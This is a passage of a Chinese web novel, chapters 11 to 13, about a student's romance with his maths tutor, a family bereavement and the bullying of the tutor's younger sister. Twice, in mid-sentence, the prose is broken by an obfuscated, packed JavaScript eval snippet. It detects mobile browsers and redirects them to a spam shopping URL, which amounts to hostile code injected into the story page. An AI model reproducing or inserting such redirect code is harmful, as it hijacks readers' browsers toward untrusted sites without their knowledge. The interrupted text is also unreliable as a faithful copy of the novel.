他诧异的抬起眼睛,瘦瘦高高唇红齿白长相略有点阴柔的男生,是那个江永安。 “不加。”他低头继续玩手机。 “你喜欢曾老师。”江永安在他耳边低声扔下一颗炸弹,“我刚刚看见了。” “看见……看见什么?”傅廷恩愣住,倏地抬头。完全不知道自己呐呐的言语和惊慌的神情就是最好的证明。 “我看见你给他系鞋带,你们还穿着情侣款。”江永安略带点得意的神情,“傅廷恩,你果然喜欢男生。” 最初的慌乱过后,傅廷恩极力镇静表情,低下头继续玩手机,“这不是全校都知道的事么?” “那,曾老师知不知道,你喜欢他呢?”江永安如愿看见傅廷恩紧蹙的眉头和眼里的波澜,“怎么样?要不要加个微信?” 11. 第 11 章 寒假很快到来,寒假期间傅廷恩要参加AMC12的数学竞赛,如果能进前5%,对于申请牛津是极大的加分项。 而曾闰成要回老家过年,临行前再三嘱咐傅廷恩不要紧张,他刷过AMC12好几年的测试题,正常发挥应该是没问题,补习了几个月,他对傅廷恩的数学水平还是很清楚的。 金城进入人潮涌动的春运期,傅廷恩执意让家里司机开车同他一起送曾闰成到机场。 曾闰成没有过分推拒,近半年的相处,两人的关系亦师亦友,寒假足有一个半月,分别总让人觉得不舍。 “老师你怎么还不开通微信?不会觉得不方便吗?”微信运行两年了,曾闰成一直没注册账号,他习惯有事打电话,没有跟人闲聊的爱好。 “是有点。”随着使用人数的增加,学校开始在微信上拉群建组,他不在线,有时候也错过一些通知。 “那你帮我申请一个?”他们坐在傅家车子的后座,他把手机递给傅廷恩,智能产品这块孩子总是玩得更溜。 “得嘞!”傅廷恩飞快的绑定账户、填充信息,头像选了一个可爱的狗头,“怎么选这个?太幼稚了吧!” “老师不是属狗么?”其实是他的微信头像是他家金毛,想暗戳戳的满足情头的臆想。 “好吧。”曾闰成无可无不可。 傅廷恩麻利的先把自己加上,发了个笑脸表情,看到聊天对话框除他之外一片空白,就觉得心花怒放。 正在偷着乐,一个电话打进来,赶忙递给曾闰成,隔得那么近,话筒里清晰的传来一个小女孩的哭声:“哥,哥,你快回来……婆婆走了……哥……” 他眼睁睁看着曾闰成的脸色一瞬间变得雪白,从没有过的慌乱神情出现在他的脸上,他攥着手机似乎一下子人就凝固了,半晌都没有发出一点声音。 “老师,闰成,”傅廷恩想问他没事吧,但怎么可能没事呢?他连唇色都变得惨白,嘴唇甚至在颤抖,肩膀也在抖,他忍不住伸出右手抱住他肩膀,无声的安慰。 车里开着空调,傅廷恩只穿了件薄毛衣,两滴水渍透过毛衣掉到他胳膊上,烫得他一颗心都跟着紧缩起来。他不敢回头去看曾闰成的表情,只能轻轻拍拍他的后背。 车子以最快的速度赶到了航站楼,可飞机起飞的时间是固定的,他陪他办了登机手续,又到柜台问还有没有票,“没有哦先生,现在春运,商务舱都是满座的,”航空小姐虽然惊艳于男生的美貌却也只能不无遗憾的告知,“最近一趟要明天晚上八点了。” 他只能眼睁睁看曾闰成失魂落魄的身影过了检票口,消失在人潮中。 其实他心里也知道,即使有机票,他也没法跟他去,他不会肯,他父母不会肯,学生的身份不足以在这种人生大事上理所当然的陪在他身边,他生平第一次觉得自己确实还是太小了…… —————————————————————————— 曾闰成回到生养他的小山村已经是第二天的下午,婆婆的丧事已经在邻居村人的操持下张罗了起来。 三间低矮的土砖房挂着白,坪里垒着几口锅灶,几杆唢呐正零星吹着哀伤的曲调,瘦弱的妹妹头上顶着白麻布,旧棉袄外头系着根麻绳,手里拎着稻草扎的把子,呜呜咽咽的站在大门口,看见他的身影大哭着扑了上来。 他丢了手中的行李,一把将她抱住,小女孩哭得声堵气噎,“婆婆说不舒服想睡一下……等我去叫她……怎么也叫不醒……怎么也叫不醒……” 即使是冬天穿着厚棉袄,妹妹的身体也是那么单薄,他放开她,踉跄的走到堂屋,一张旧门板上铺着几层棉絮被褥,一个瘦小佝偻的身影安静的躺在几张花花绿绿的被单之下。 他没有在邻居的指引下去磕头烧纸敬香,脚步迟缓的走到那身影旁边,盯着那张已经失去水分苍老干瘪的面庞,怔怔无法言语。 “闰成,不要到河里去玩水,河里有水怪,把你拖走婆婆就找不到了……”她跟在七八岁的他身后一遍一遍的叮嘱。 “闰成,你走山路怕不怕?婆婆送送你……”她打着火把,送去镇上读初中的他一程又一程。 “闰成,你在学校不要饿着自己,想吃什么尽管买婆婆有钱……”旧手绢一层层的打开来,是一张张扎得整整齐齐的一块两块,一张不留的全塞到他手里。 “闰成,你要好好学习,什么都有可能弄丢,只有你学的知识不会丢……” 他终于再也忍不住,趴在那再也没有起伏的胸口大哭起来,总以为来得及,总想着来日方长,痛愧弥漫着整个胸腔,让一贯冷静自持的人发出一阵阵哀嚎…… ———————————————————————————— 傅廷恩一天无数遍的看微信,对话框打了删删了又打,始终没有发出一句话。在巨大的伤痛面前,言语的安慰总是那样苍白无力。 而那个新申请的微信也十分的安静,痛到极致,是寂静无声。 过了五六天,他才小心翼翼的发了一个拥抱的表情,不出所料的没有回音。每次手机提示音响起,他都跳起来查看,全都不是,直到睡觉前,才等到四个字:好好考试。 他心满意足的抱着手机睡去,一个表情他懂他的安慰,简短四个字他懂他的牵挂。 他不敢放松学习,每天都要刷三四个小时数学题,当一个个数字被算出来,罗列在纸上,就像一行行隐秘的情书,数字间流转着旁人都看不懂的爱意。 傅太直觉傅廷恩是谈恋爱了,那时不时长吁短叹,动不动愁眉紧锁,间歇性开怀大笑,过来人都懂。 就是这对象不太好估摸……好像也没有看他跟身边的哪个女生或者男生走得特别近,难道是网恋?越想越觉得像,手机看得跟宝贝一样。 但是过完年的AMC12竞赛,傅廷恩拿到94分,如愿进了前5%,拿到了AIME邀请赛资格,傅太就放下心来,她儿子就算网恋也是有分寸的人,知道什么最重要。 整个寒假傅廷恩都在家里装乖宝宝,熬到二月底开学,总算获得允准周一到周四可以偶尔住公寓,但要随时接受检查。 他兴冲冲搬家一样收拾了一大堆行李送去公寓,把傅太吓一跳,“这孩子是干啥?家里这么呆不住么,公寓那么点大……” 傅明章这点倒很开明:“顺利的话年底就要飞英国了,迟早离开家。” “他网球比赛得的那些奖杯那么多也扛去干啥?也不嫌麻烦……” “他想显摆显摆嘛你随他,马上成年人了,你不要管那么多了……”幼鸟长大离巢远飞是必然是流程,作为父母只能接受,傅太悒悒不乐的跟太太们逛商场去了。 ———————————————————————————— 开学后的第一个星期,傅廷恩在曾闰成新租的房子里见到了曾闰霞。“小霞,这是傅廷恩,叫哥哥。” 小女孩从曾闰成身后羞怯的伸出半个头,“廷恩哥。” 她穿着簇新的白色羽绒服,个子瘦瘦小小,曾闰成说比他小十岁,那就十四岁有余了,但看上去就十一二岁的样子。眉目很清秀,皮肤微黑,跟曾闰成长得并不太像。 傅廷恩并不知道,眼前这个不起眼的小女孩日后会成为他和他的牵绊,也是他和他的阻隔。 新租的房子还是在那条巷子里头,从二楼换到了一楼,也是个一居室,但是客厅更大,带了个十来平方的小院子。 小霞住房间里,曾闰成把客厅沙发撤了,放了张一米五的床。临窗是一线书架,上面摆得满满当当,是原先他收在箱子里的书,还有小霞的各种课本。 旁边一张大方桌,平时用来看书学习,餐时吃饭。没有电视机,没有任何电子设备,看上去简单干净。 小霞是非常勤快的女孩子,曾闰成和傅廷恩刷题讲题的时候,她就在厨房忙做饭,手脚很轻,也没听到什么大动静。 等他们弄完,三菜一汤就端了上来,茭瓜牛肉丝,煎豆腐,小白菜,番茄蛋汤。 看上去色香味俱全,傅廷恩尝了几口,忍不住竖起大拇指:“小霞,你好厉害!” 一句夸奖就让她脸上飞起两朵红云,农村的孩子家务是做习惯了的,她羞涩的笑一下,又有点小得意,“家里都是我做饭吃,婆婆也说我做饭比哥哥好吃……”她语声低下去,瞄一眼她哥,不说话了。 曾闰成的脸色里透着沉郁,一上午了,傅廷恩也没有见他笑过,他赶忙岔开话题,“小霞转学办好了吗?” “嗯。”曾闰成点点头,“户籍学籍都转过来了,已经上了半个月学。” 小霞还是上的公立三中,恒雅虽然十五年一贯制,但它是面向国际院校,不参加国内高考。就算曾闰成供得起,他也不放心她一个人去国外。 “那,Jasper,你有没有想过去国外读博士?” 曾闰成摇头,“竞赛认识的一个师兄,欧几里德拿过金奖,他前年申请到了耶鲁的工科博士,据说每年40万左右的费用,英美都差不多,他是很厉害的,他都说好专业好导师的funding(导师基金)很难拿到。差的学校就没太大必要读了。” “英国那么小,美国好乱,其实也没什么意思,我念secondary school的时候圣诞节、复活节还有暑假都是飞回金城的。” 傅廷恩觉得有必要提前报备一下,这样等他假期回来找他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422341|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就不显得突兀了。 下午,虽然曾闰成不太想动,但还是被傅廷恩软磨硬泡拉去打了一场网球,运动能够分泌内啡肽,打完球出一身大汗,他果然气色都好了不少。 傅廷恩这才放下心来,等汗收了,两人一块去沐浴房洗澡。结果被告知学校趁周末整改管道,这两天停水。因为曾闰成答应了去傅廷恩的公寓看奖杯和还有费德勒的签名球拍,所以带了衣服准备洗完澡直接过去。 “那只能下次了。” “别啊,曾老师,”傅廷恩当然不肯,“我那里洗澡很方便的。都说好了,去嘛去嘛!这天气,不赶紧洗澡会感冒的。” 他是习惯在傅太面前撒娇的,丝毫不觉得丢脸,拉着曾闰成的胳膊左摇右晃。他是典型的陌生人面前装高冷男神,亲近的人面前就展露逗逼的潜质。 谁能拒绝这样一条可爱小狗呢?好吧好吧,曾闰成无奈的拍拍他的头。 公寓离学校只有四五百米,恒雅建校后带动了周边经济,围绕学生需求展开的各项设施都很齐全。 他们背着球包穿过一条购物街,坐电梯到45楼。公寓80多平,是两套40多打通的一个大通间。 装修得温馨舒适,落地窗前可以俯瞰大半个校区。展示柜上摆着两排奖杯,底下是各类签名球拍。 “老师你先洗澡,等会再看。”傅廷恩生怕曾闰成着凉,翻出干净的浴巾浴袍给他,自己坐电脑桌前先打把游戏。 “哗哗”的水声传来,他拧开音响,放点爵士乐。无意间一回头,吓得从转椅上直接栽到地毯上。脸瞬间就涨得通红,心跳有如擂鼓。 浴室有做扩充,对外是一扇茶色玻璃墙,从里面看不见外面,但从外面其实是看得一清二楚的。 当时装修工人弄反了,但墙上有一个屏蔽键,按一下就会屏蔽起来。 曾闰成显然不知道,而傅廷恩发誓他绝对是忘了说。于是无意间一回头,一具白皙矫健线条优美的男性躯体呈现在他眼前,对少年的冲击力不亚于原子弹爆炸。 怎么办怎么办,傅廷恩不敢抬头,要不要说一声?说了老师尴尬怎么办? 对于一个平常衬衫都扣得一丝不苟,白衬衫里头还要加一件白背心的人,这是肯定会尴尬的。 不说?老师发现了怎么办?会不会以为他是故意的?从此给他贴上一个人品低下的标签? 他纠结得挠心挠肺,浴室里的水声却已经渐渐停止了。不好!他蹦起来,翻出一条毛巾,曾闰成门一开,傅廷恩赶紧把毛巾塞他手里,“老师,你赶紧擦头发!该我洗了!” 他几乎是把曾闰成挤出了浴室,“啪嗒”门一关,第一时间按屏蔽钮,然后一屁股坐马桶盖上大大的松了口气:“呼!”危机解除,他简直为自己的机智点赞。 可是眼前却开始晃动起刚刚惊鸿一瞥的画面来:水滴顺着宽阔的背脊,流过紧实的腰线,一直延伸到挺翘的臀部…… “你怎么洗这么久,”暖气的温度上来了,曾闰成穿着运动长裤和短袖T恤,“有没有喝的?” 傅廷恩打开冰箱,搬出来几罐百威还有可乐,他好久没住这么边,桶装水空了还没有送来。 曾闰成修长的手指在百威和可乐之间犹疑了一下,还是打开了一罐百威。在啤酒和汽水之间,男人都会选择前者。 傅廷恩拿出费德勒的签名黑拍,“这是七八年前,我在伦敦看他打拉沃尔杯,请他签的。全场他就签了这一只。”他不无得意。他指着展示架上的奖杯说着背后的故事,每一只球拍的来历他都如数家珍…… 或许是傅廷恩的声音太有磁性,又或许一场网球过后他实在有些疲累,宽大柔软的沙发、悠扬轻柔的音乐让曾闰成的眼皮越来越重,意识越来越模糊,逐渐的坠入了梦乡里…… 傅廷恩合上手里的相册,暮色四起,微光从窗棂的缝隙里踱步而入,温柔的抚摸沉睡的人眉梢眼角。 他完全不知道这个屋子里的另外一个人对他抱有怎样的遐想,才能睡得这样毫无防备吧。 他几乎是有些贪婪的用目光,细细的品味着平日里连正视也不太敢的脸庞,他有着利落的下颌线,纤长的眉型和浓密的眼睫毛是那样合衬,平素只要打开就是黑白分明清冽潋滟的桃花眼轻轻的闭合着,就像珍珠即使藏如匣内,也闪烁着诱人的星芒。鼻梁耸立的弧度恰到好处,既不突兀也绝不呆板。嘴唇丰润,在暮色里泛着瑰丽的光泽…… 他几乎看得痴了过去,良久,目光回避似的顺着喉结往下,略过平坦的胸膛,拂过紧窄的腰线,因为双腿垂下地面而突出的那一团简直让人无法忽视…… 傅廷恩收回目光,低下头去,只觉得心头脸庞仿佛都要燃烧起来…… 12. 第 12 章 也不知道睡了多久,曾闰成从梦中惊醒,一盏昏黄的灯光笼罩在房子的一角,傅廷恩在沙发的另一头鼻息微微,好梦正酣。 他抬腕看看手表,已经八点,想起小霞还在家里,他拿过一旁的薄毯,盖到傅廷恩身上,轻手轻脚的带上门离开了这套公寓。 听到房门“咔哒”一声轻响,傅廷恩睁开了眼睛,滑到沙发的另一端,坐在那仍有温热的角落,拿起一旁他喝了一半的啤酒,嘴唇在杯口处停留了片刻,才仰起脖子喝了一口。 胸口似有郁结,半罐啤酒下去仍不得纾解,他又从茶几上拿了一罐起开,“咕咚咕咚”下去大半罐,凉意在四肢百骸里蔓延,似乎才清醒了一点。 手机“叮咚”的微信提示音响起,他也懒得去看,过了片刻视频的接入音传来,他不耐烦的随手点开,对面一片漆黑,他昳丽微醺的眉眼却落入了窥探的眼里。 “傅廷恩,你在喝酒?”阴柔的轻笑,“不是事后来一杯吧?” “你有病吧你!”傅廷恩挂了视频,对方又打过来,他直接挂断。再打,再挂,反复三五次之后,终于消停了,微信提示音却又响起。 自从让江永安加到他微信,虽然在学校里他从不靠近他,两个人几无交集,却时不时在微信上骚扰他。 有时候是发一些带色且是男色的图片,有时候发一些诸如如何判定性取向之类的链接,有时候是一个猥琐表情,他通通不理会,但也没有将他删除,江永安掌握着他的秘密,而且是那种一看就很八卦很鸡贼的人,他不想给曾闰成带来哪怕一丁点麻烦。 他有一口没一口的又喝了两罐啤酒,夜色渐深,他百无聊赖的划开手机,点开那条未读微信:“做了吗?” 他犹豫一下,还是回了个“没”,这个神经不知道躲在哪个角落里,似乎对他的行踪了如指掌,不能让他随便臆测。 “想做吗?”对方秒回。 他愣住了,脑海里又无可避免的回放起那副诱人的画面……或许是酒精的作用,有一种按捺不住的情绪莫名的翻涌起来,半晌,手指在按键上移动:“想。” “要不要我教你?” “滚” “你睡过女人吗?” “没” “睡过男人吗?” “没” “你都没睡过,你怎么知道你想睡的是女人还是男人?” ………… “你睡过?” “当然,我不但睡过,也被睡过,所以我知道我最想要的是哪种。”傅廷恩简直要笑出声,江家这几个杂碎真是个个玩得开。 他直觉要掉进言语的圈套,可犹豫了一会,还是顺着话题发了两个字:“哪种?” “被男人干!”哈哈哈哈哈……傅廷恩给他点了个赞,顺手截了个图,好,这傻逼自己送了个把柄上门,下次他如果再敢威胁他,他就说要把这对话截图挂学校论坛上去。 可江永安似乎丝毫没防备,“傅廷恩,对你喜欢的那个人,你是想干|他呢?还是被他|干呢?” “啪!”傅廷恩把手机倒扣过来,一句话都不想再跟这傻逼说了。 叮咚几声清响过后,手机总算趋于安静。傅廷恩感觉有点饿,煎了个牛排填饱肚子,拿出书本温习了一会功课,又打了几把游戏,看看时间,将近十一点,往床上一躺却怎么也睡不着。 他鬼使神差的打开未读信息,是两个视频,用脚趾头想也知道内容是什么,他关闭对话界面,熄了灯,翻来滚去,最后还是将手伸向了手机…… 这天晚上的梦境与以往全然不同,不再是倏忽闪过的清俊面庞,或者一起刷题时的温馨场景。 起初梦里男人的面孔是模糊不清的,只有修长干净的躯体白得耀眼,挺翘的臀线细节处纤毫毕现,男人趴伏在方桌前,而他附身其上,有节奏的律动着…… 场景倏忽又换到了教室里,空荡荡的教室里只有两个交颈亲吻的身影,咕唧的水声伴随着令人耳红心跳的低语…… 最后是室外的网球场,天地间好像都只有这两具赤裸的身躯在纵情缠绵,这一次,男人回过头来,是他再熟悉不过的温润眉眼,那如水的眼波是从没见过的风流魅惑,“廷恩……”他雪白的牙齿轻咬着丰润的下唇…… 脑海里一根弦“嘣”的一声断了,如雷的心跳声从梦里直达梦外,傅廷恩猛的睁开眼,天光已经大亮,闹钟响个不停,他伸手关了,翻身坐起来,一阵眩晕是喝多了的后遗症。 他冲到浴室洗了个澡,换过衣服坐在床畔,长长的呼出一口气,两只手插入浓密的黑发,一阵烦恼的揉搓…… 从这天开始,傅廷恩好像放出了心底那只名为欲念的野兽,上课的时候尽管仍然正襟危坐,但他的眼神总是不自觉在曾闰成的唇角喉结上流连,有时候甚至会想象,如果……会怎样,他开始害怕与他对视,眼睛是心灵的窗户,如果被他看到他的所思所想,一定会觉得他很不堪,会让他很厌恶吧。 有时候听着他温和的声音在教室里回响,大脑突然就会一片空白,那声音好像贴着他耳边一样,令人酥麻颤栗…… 他的不对劲很快就被发现了。这天的课程结束以后,曾闰成出现在教室门口,“廷恩,你来一下。” 他们顺着马球场慢慢的踱步,春天的到来,让马球场的草坪也恢复了绿意盎然,细密的绿草在春风中舒展着柔嫩的腰肢,阳光,微风,不温不燥。 “我看你上课不太认真,最近这个章节觉得很难吗?”曾闰成没有拐弯抹角。 “没有。”傅廷恩低头,踢了踢路边的小石子。 “只有两个月就考A2剩下几门了,可不能在这个时候掉劲,牛津每年全球发放的offer也不过两三千份,申请的人数年年递增……” “其实我觉得不去也没什么,”傅廷恩低垂着头,“英国一点也不好,东西很难吃,而且很荒凉什么好玩的都没有,一点也不方便干什么 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“廷恩,任何事物都有两面性,你说的这些都是客观存在的,不好的那一面,那它好的那一面呢?英国是个老牌资本主义国家,牛津是最古老的学府之一,它产出了多少个诺贝尔奖,又出过多少个首相,这个相信你比我更清楚,不然也不会把它定为目标院校之一。你一直学习的是A-level的课程体系,转国内高考是毫无优势的。何况这次AMC你取得了很好的成绩,剩下这几门课程如果能够保持之前的学习状态,完全可以高分通过。你离牛津的offer只有一步之遥,不要放弃。” 他顿了一下,“如果你跟我一样,不具备国外求学的条件,那么在国内参加高考也是很好的出路,只要努力勤奋一样有收获。但你有这个条件,家里人对你应该也有期许,还是去看看更广阔的天地吧。你可以看看外面的风景再回来,即使同样的景色,因为眼界心境的不同,也能发掘出更多层次的美好。” 曾闰成的声线似有金玉质地,当他向你娓娓道来,温和的笑意,专注的眉眼凝视着你,几乎没有什么无法说服。 傅廷恩凝视着面前这个人,眼里是毫无保留的崇敬与信任,“那,我假期可以回来看你吗?” “当然,即使我不在恒雅,总在金城。”曾闰成笃定的拍拍他的肩膀,“你在应用数学这个领域深造,现在是我教你,将来也许需要你为我答疑解惑了。” 他极力的劝慰他,“廷恩,你是我见过最优秀的孩子,聪明又努力,只要你专注于自我的提升,我相信你将来一定会大有作为的。” “老师,你不用夸我,将来你还会有更多学生,肯定会有人比我更聪明、更努力、更让你觉得喜欢……”他刚刚扬起的眼角又垂了下去,一只脚将脚下的鹅卵石踢得滚来滚去。 “廷恩,你不止是我的学生,还是我的朋友。或许以后我还会有很多学生,但随着年龄的增长,状况的改变,可能不会再有学生能够变成朋友了。” 曾闰成带点怜爱的看着眼前这个闷闷不乐的男生,“你在我这里是独一无二的。” 十八岁的少年是真的很好哄,“独一无二”四个字就像有魔力一般,让他轻松就把欲念的野兽关回了理智的牢笼,目光重新回到清明澄澈,追随着那抹挺直的背影,继续在书山题海遨游攀登…… 13. 第 13 章 四月的一个周末,傅廷恩给曾闰霞带去一个礼物,一台新款的苹果手机。“家里有好几台放着没用,小霞没有手机也不方便。” 几个周末下来,曾闰霞和傅廷恩就熟络起来了,刷题的间隙傅廷恩打游戏,她偶尔会蹭在一边看他打。 曾闰霞开心得要跳起来,结果她哥不同意,“初中生使用电子产品不合适,会分散注意力。” “哥,我们班很多同学都有。”一贯温顺的小姑娘难得质疑她哥的决定,“老师在讲台上放了一个篮子,只要把手机调成静音,上课的时候放在篮子里,下课去拿就可以。哥……” 曾闰成不为所动,“电子产品的使用对学习的危害是有科学研究数据支撑的,”看小霞怏怏不乐的垮着小脸,想了一下,只好允诺她,“高中吧,等你考上高中,有一定的自控能力了,哥哥给你买一个最新款的好不好?” 曾闰霞委屈的看向傅廷恩,可是傅廷恩只能摊开手,回她一个爱莫能助的表情,她只好瘪着嘴巴点了点头。可是很快,曾闰成就对自己的这个决定后悔不已。 那是周三的晚上,天空下起了瓢泼大雨,傅廷恩正在公寓里温书,手机响起,曾闰成焦急的声音传来:“廷恩,小霞不见了。” 两个人冒着雨找了一大圈,打电话给老师说正常放学了,网咖、奶茶店、烧烤摊这种小霞平时根本就不会光顾的场合也找了个遍,曾闰成又急又悔,恒雅这个周边拆迁户、郊区原住民很多,可以说是鱼龙混杂,一个十四岁的小姑娘不见了踪影如何能不着急?可是派所处有规定,未成年人失踪48小时才能立案,两个人只能一边回想一边焦急寻找。 傅廷恩突然想起一个可能,拉上曾闰成就往三中校园里头冲,保安跟在后面追着喊,“哎,你们干什么?说了都走光了,没有人……” 结果追到三楼的女厕所门口,果然听到里头传来细细的哭声,可能是听到脚步响,小女生嘶哑的声音激动起来,“哥,我在这里,她们把门堵住了,我打不开……” 曾闰成听到声音,脚下一软,还是傅廷恩一马当先冲进去,把横杠在厕所门上的拖把杆踢开,小霞一把扑进他怀里,哭得上气不接下气。 保安跟在后头,讪讪的,“哎呀,以前也没这样的事……” 两个男生开始过来问了他两次,他都一口咬定“都走光了都走光了”,这会子看他们人高马大又害怕了起来。这种人就是刻在骨子里的自私冷漠、欺软怕硬! “你他妈的……”傅廷恩气得想冲那嘴脸来上两拳,被曾闰成拦住了。 两个人带着小霞回到出租屋,询问了事情的经过,才知道小霞从转学过来就一直被班上几个女生欺负,不能算是情节特别恶劣那种,但是藏她的文具、撕坏她的作业本、伙同其她同学孤立她,也是常有的事情。 小霞毕竟是从乡下初中转学过来的,多少有点自卑,本身又是温顺的性格,看她哥工作也比较忙,就不敢跟他说,想着忍忍就过去了。 结果就发生这起比较严重的事件,几个女生放学把她叫到厕所,也没打她,就把她推进最里面的隔间,然后从外面把门闩了起来。 陆续有人进出厕所的时候,小霞不敢吭声,想着也不可能关她太久,哪晓得那几个女生径直就回家了。等到渐渐没人了,她再喊也没人听见了,恰巧她这几天有点感冒,嗓子也发不出什么大声响,就这么被困在厕所四个多小时。 曾闰成难得的出现了愤怒的表情,他一向是冷静自持的性格,有时候课堂上难免有吵闹,他从没发过火,都是抬手示意大家安静,然后继续讲。这个雨夜让傅廷恩见识到了他其他的面目:焦急、愤怒、心疼、愧疚…… 他安慰了小霞半天,答应了明天就去找小霞班主任沟通,让那几个女生道歉,保证不再欺负她,小霞才抽噎着洗澡去了。 他才转过头来,看向傅廷恩:“廷恩,多亏有你……咦,你的脚怎么了?” 傅廷恩一低头才发现脚背上划开一道五六厘米长的口子,他听到曾闰成焦急的声音,鞋都顾不上换,正好下雨,索性就穿着拖鞋出来了,可能是走得急,在哪里划了一下。 “没事,我回去冲洗一下就好了。”傅廷恩不以为意,他爱运动,马术、滑雪、冲浪都是比较容易受伤的项目。 曾闰成不理会他的抗议,强硬的把他按到客厅床边坐下,又抽条小凳子,示意他把脚放上去。 “真没事,去年学校那21号把我甩下来,我两个膝盖都摔肿了,背上蹭了好大一块皮,一点事没有。” 他说的是马球场那匹性子比较烈的马,没说的是那马自从把傅少爷摔下马背后就被换走了,学校可不敢给这些富家子弟们用烈马练习马术。 曾闰成不听他嘀咕,蹲下身去,先用75%的酒精冲洗了一下,再拿棉签醮了碘酒,小心的反复在那道伤口擦拭、涂抹。 傅廷恩一瞬间就安静如鸡,破了皮,按道理酒精淋上去是会有点刺激的,他好像完全感觉不到,只觉得他的手势是那样轻柔,眉梢眼角弥漫着似乎是心疼的表情,他只觉得胸口有种钝钝的欢喜迟缓的蔓延开来……室内一时间陷入一种宁静的氛围里。 小霞洗完澡出来,发出声响,才让傅廷恩如梦初醒,“老师,那手机还是给小霞用吧,确实是家里多余的,没必要花钱去买。今天这事,要是小霞有手机就不会发生了。” 曾闰成起身,叹了口气,点点头,“好。”他在心里又记上一笔,傅廷恩的生日礼物一定要好好寻摸才是。 —————————————————————————— 第二天曾闰成趁没课的时候,去三中拜访了小霞的班主任,是个四十多岁的女老师,跟她讲了前一天晚上发生的事情,以及小霞入校来的情况。 大家都在教育行业,沟通很顺畅,班主任当着他的面就把小霞和那几个女生叫出来,让她们给小霞道歉,又承诺周末的班会主题就定“反校园霸凌”,让那几个女生写千字检讨在班会上念。他这才放下心来。 可是周末傅廷恩过去补习,一眼就看见曾闰霞的新手机摔了条缝,他当时就觉得奇怪,小霞手脚很麻利,不是那种大大咧咧的性格,她把手机看得宝贝一样,又套了手机壳,怎么会摔这么大条缝呢?倒像故意砸的似的。 小霞看他看见了,把手机翻过来盖住,又指指厨房里曾闰成的背影,冲他做了个“嘘”的手势。 “自己摔的还是别人砸的?跟哥说实话。”他小声问她。 曾闰霞很喜欢这个帅气哥哥,他把她从脏臭的厕所隔间救出来,又送她新手机,而且他只比她大四五岁,没有她亲哥那么严肃,经常逗她、教她打游戏,周末过来总会给她带点零食,有时候是蛋糕,有时候是奶茶,都是女孩子爱吃的甜食。 她不想隐瞒廷恩哥,但是也不想让哥哥操心,就小声说道,“还是上次为头那个……老师说了也不管用……她故意踩的……” 傅廷恩一下子就明白了,学校和老师对于学生之间的冲突都是本着息事宁人的原则,可孩子们的世界有时候也很残酷,有的小孩很小就学会了当面一套背面一套。 “她踩坏你手机有谁看到没有?” “那些女生……” “有没有男生看到?” “我同桌……小胖,可他不会帮我的。”曾闰霞难过的低下头,转过来两个多月了,她也没有交到一个朋友,就连同桌平时也对她爱答不理的。 “小胖喜不喜欢玩游戏?” “应该……喜欢的吧,下课老听他们男生凑一块说斯巴达,铁拳什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422343|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “好,哥知道了,这事交给我,”他拍拍她肩膀,“不要担心。” 第二天下午,傅廷恩趁着放学的时间,用两包和天下贿赂了门口的保安,大摇大摆的进了三中小霞所在的班级教室。 正好班主任还没过来放学,他往门口一站,把教室门一拍,整个教室就瞬间安静下来。 初中生对于家长可能不太感冒,但对于高年级学长有种天然的惧怕,何况这个学长个子高大、长相帅气,却是一脸不好惹的表情。 他走到小霞的课桌旁边,先把一个纸盒往她同桌男生课桌上一丢,然后才大声问道:“是谁把我送给我妹妹的新手机踩坏了?自己站出来。” 他话音落下,教室里立刻响起一阵窃窃私语声,他等了两分钟才又问了一遍,“谁踩的?自己站出来,等老子把你揪出来就让你知道厉害!” 正在这当口,班主任进来放学了,一眼看见教室里站了个陌生男生,“你谁呀?怎么在我们班教室?” 傅廷恩仍旧一副拽拽的街溜子表情,“老师,我刚给我妹八千块买的新手机,就让她同学踩坏了,您说怎么办?” “你妹?”班主任看一眼小霞,“前几天……” “您就说这事怎么办吧?”傅廷恩极不客气的打断她,“修个屏少说一两千块。” 班主任也有点火大,“你说踩坏的,谁能证明吧?” 傅廷恩抬抬下巴,“小胖,谁踩坏的?你给证明下。” 那个叫小胖的小胖子看看课桌里躺着的最新款PSP,犹豫一下,站起来,指着一个女生,“就她!好多人都看见了!” “老师,这会可是您该做主的时候了。”傅廷恩抱着个胳膊,冷冷的睨一下那个女生,“毕竟学校里出的事,先找您不是,不然我们私底下解决的话……只怕不好收场。” 这话要是家长来说就不合适,小孩子也不怕这个威胁。但一个高中学长来说,就有极大实践的可能,那女生吓得“哇”一声就哭了出来。 “你还有脸哭!”傅廷恩赶在班主任发话之前,吼了一声,“一天到晚欺负我妹,刚给她买的新手机就被你踩坏,你倒还哭上了。” 他又环顾一下四周,当着班主任的面放狠话,“谁以后要是再敢欺负我妹,别怪我对她不客气!” 整个教室都安静无声,落针可闻。 他一副混不吝的样子,班主任也头疼,“行,我会跟这孩子妈妈打电话,沟通赔偿事宜的,回头给您个答复行吗?您先出去吧,这里毕竟是课堂。” 傅廷恩见好就收,冲曾闰霞眨了眨眼睛,“妹,我在校门外头等你,一块回家。” “好!”曾闰霞整个脸庞都泛着红晕的光泽,眼睛一眨不眨的看着傅廷恩帅气的面孔,觉得这是她长这么大以来,最开心的一天! 农村长大的留守儿童,早已经习惯了忍让和忽略,虽然她有哥哥,但是哥哥常年在外求学,寒暑假也很少回家,就过年那几天可以见面,从来没有人在老师、同学面前这样维护过她! 当傅廷恩在校门口等着她,在众人羡慕的目光里牵起她的手,带她回家,“廷恩哥,我觉得我真的是世界上最最幸福的人!” 